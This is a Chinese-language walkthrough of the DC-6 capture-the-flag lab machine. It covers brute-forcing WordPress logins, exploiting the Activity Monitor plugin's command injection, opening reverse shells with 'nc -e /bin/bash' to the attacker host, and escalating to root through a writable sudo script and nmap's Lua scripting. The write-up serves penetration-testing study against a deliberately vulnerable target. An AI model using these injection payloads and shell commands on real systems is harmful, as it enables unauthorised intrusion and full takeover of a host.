文章目录
DC-6靶机渗透测试
方式一
1. 信息收集
1.1 主机扫描
arp-scan -l
1.2 端口扫描
nmap -sS -p- 192.168.188.176
访问web页面
发现没有反应,之前在DC-2中遇到过这种情况需要改hosts文件。
打开配置文件
vim /etc/hosts
配置如下信息
192.168.188.176 wordy
然后重新启动服务即可访问页面。
1.3 目录扫描
dirsearch -u 192.168.188.176 -e * -i 200
访问后台页面
http://wordy/wp-login.php
2. 暴力破解
使用cewl生成密码字典
cewl -w password.txt http://wordy/
使用wpscan暴力枚举用户名
wpscan --url http://wordy/ -e
然后将这五个用户名放在一个字典中,进行爆破
wpscan --url http://wordy/ -U user.txt -P password.txt
发现无法爆破出来。
查看DC-6作者的提示
解压指定文件
gunzip rockyou.txt.gz
说明:gunzip
是一个用于解压缩.gz
文件的命令行工具。
然后切换到tmp目录下生成密码字典
cat /usr/share/wordlists/rockyou.txt | grep k01 > wordy-pass1.dic
将之前创建的用户名字典移动到tmp目录下,然后进行爆破
wpscan --url http://wordy/ -U user.txt -P wordy-pass1.dic
用户名:mark,密码:helpdesk01进行登录。
登录成功
页面发现
3. 漏洞利用
发现了Activity monitor这个插件(远程命令执行漏洞)
Activity Monitor,官方解释为:(活动监视器)即实时显示CPU、内存和网络的使用情况,记录由虚拟内存大小测量的系统负载。用一句大白话来说,Activity Monitor类似Windows中的任务管理器,可以实时查看进程占用的CPU、内存的使用量。
使用searchsploit进行漏洞查找
searchsploit activity monitor
查看漏洞的绝对路径
searchsploit -p php/webapps/50110.py
/usr/share/exploitdb/exploits/php/webapps/50110.py
用python执行这个脚本
python3 /usr/share/exploitdb/exploits/php/webapps/50110.py
依次输入靶机的IP地址,爆破出来的用户名及密码。
4. 提权
开启一个新终端监听6666端口
然后在刚才的终端里输入反弹shell
nc -e /bin/bash 192.168.188.157 6666
使用python交互shell
python -c "import pty;pty.spawn('/bin/bash')"
找到mark用户的家目录下的stuff文件夹,查看里面的things-to-do.txt。
提示添加了新用户:graham - GSo7isUM1D4。切换用户:
su graham
查询graham用户的root权限指令:sudo -l
,看到jens目录下有bash脚本。
切换到jens的家目录查看脚本文件backup.sh
该脚本的内容是压缩备份Web的文件。那么我们是否可以在脚本里面添加代码,这样在执行脚本的时候可以打开一个shell。
追加写入:echo "/bin/bash" >> backups.sh
,意味着它会打开一个shell(此处会打开jens用户的shell)。
该脚本在jens的家目录下所以使用jens的身份执行该脚本:sudo -u jens /home/jens/backups.sh
,切换成功。
说明:-u以指定的用户作为新的身份。
同时查看jens的可执行哪些命令的权限,发现有nmap。
查看nmap的sudo提权方式
使用a方法依次输入即可
进入root根目录,找到theflag.txt,渗透成功。
方式二
1. 漏洞利用
发现了Activity monitor这个插件后,使用使用searchsploit进行漏洞查找。
searchsploit activity monitor
将45274.html复制到桌面上进行修改
kali监听4444端口
nc -lvp 4444
再开启一个临时http服务端口为8888
python3 -m http.server 8888
浏览器访问一下kali开启的http服务。
192.168.188.157:8888
点击Submit request
反弹成功
进入到mark用户的家目录下,stuff文件下有一个things-to-do.txt文件,查看文件内容发现是graham用户及登录密码。
使用ssh远程登录
查看一下当前用户可以执行的操作,发现可以运行jens用户家目录下面的backups.sh脚本
查看jens家目录下的这个文件,发现是对web的文件进行打包备份
追加写入:echo "/bin/bash" >> backups.sh
。并指定jens的身份来执行该脚本。
脚本执行成功后,切换到jens用户,查看jens可以执行的操作 。
发现nmap提权提示操作。通过查询nmap | GTFOBins,来进行提权即可。
echo 'os.execute("/bin/sh")' > getShell
sudo nmap --script=getShell
# 查找flag
cat /root/theflag.txt
提权命令说明:
命令
echo 'os.execute("/bin/sh")' > getShell
是一条用于创建一个名为getShell
的文件,并将其中的内容设置为'os.execute("/bin/sh")'
的命令。下面对这个命令进行详细解析:
echo
:是一个命令行工具,用于将指定的字符串输出到标准输出(通常是终端)。'os.execute("/bin/sh")'
:是一个 Lua 语言中的表达式,表示执行一个操作系统命令/bin/sh
(即交互式 Shell)。>
:是一个重定向操作符,用于将命令的输出重定向到指定的文件。getShell
:是要创建的文件名,也可以是文件的路径。因此,该命令的作用是将
'os.execute("/bin/sh")'
这个命令写入名为 getShell 的文件中。getShell 文件内容为:
os.execute("/bin/sh")
当执行这个文件时,将会执行
"/bin/sh"
这个命令,从而打开一个交互式 Shell。这意味着,在执行getShell
文件后,将进入一个可以执行命令的 Shell 环境。
该命令
sudo nmap --script=getShell
是使用nmap
工具执行getShell
脚本的命令。下面对这个命令进行详细解析:
sudo
:是一个命令行工具,用于以超级用户(root)权限执行指定的命令。sudo和SUID详解。nmap
:是一款网络探测和安全扫描工具,用于扫描主机和网络服务。--script=getShell
:是nmap
命令的参数,指定要运行的脚本名称为getShell
。
方式三
1. 漏洞利用
在登录后发现了Activity monitor这个插件
Activity Monitor,官方解释为:(活动监视器)即实时显示CPU、内存和网络的使用情况,记录由虚拟内存大小测量的系统负载。用一句大白话来说,Activity Monitor类似Windows中的任务管理器,可以实时查看进程占用的CPU、内存的使用量。
输入127.0.0.1测试一下
这里既然能解析ip地址,是否也能解析命令如127.0.0.1&ls。
发现确实是远程命令执行漏洞,利用这个漏洞来反弹shell。输入框输入如下命令:
127.0.0.1|nc -e /bin/bash 192.168.188.157 9999
这里它的输入框有限制输入长度,可以查看源代码在检查里修改它的长度,将其修改为100。
kali中监听9999端口
点击页面上的Lookup,反弹成功。
然后设置交互式shell
python3 -c "import pty;pty.spawn('/bin/bash')"
然后接下来解释提权了,和方式一的方法一样。
方式四
1. 漏洞利用
利用Activity monitor这个插件,在发送数据的时候使用bp抓包来修改。
页面输入127.0.0.1后在bp中修改抓取到的数据包,修改为127.0.0.1|ls
,成功显示。
然后修改数据包为127.0.0.1|nc -e /bin/bash 192.168.188.157 6666
并且kali反弹成功,设置交互式shell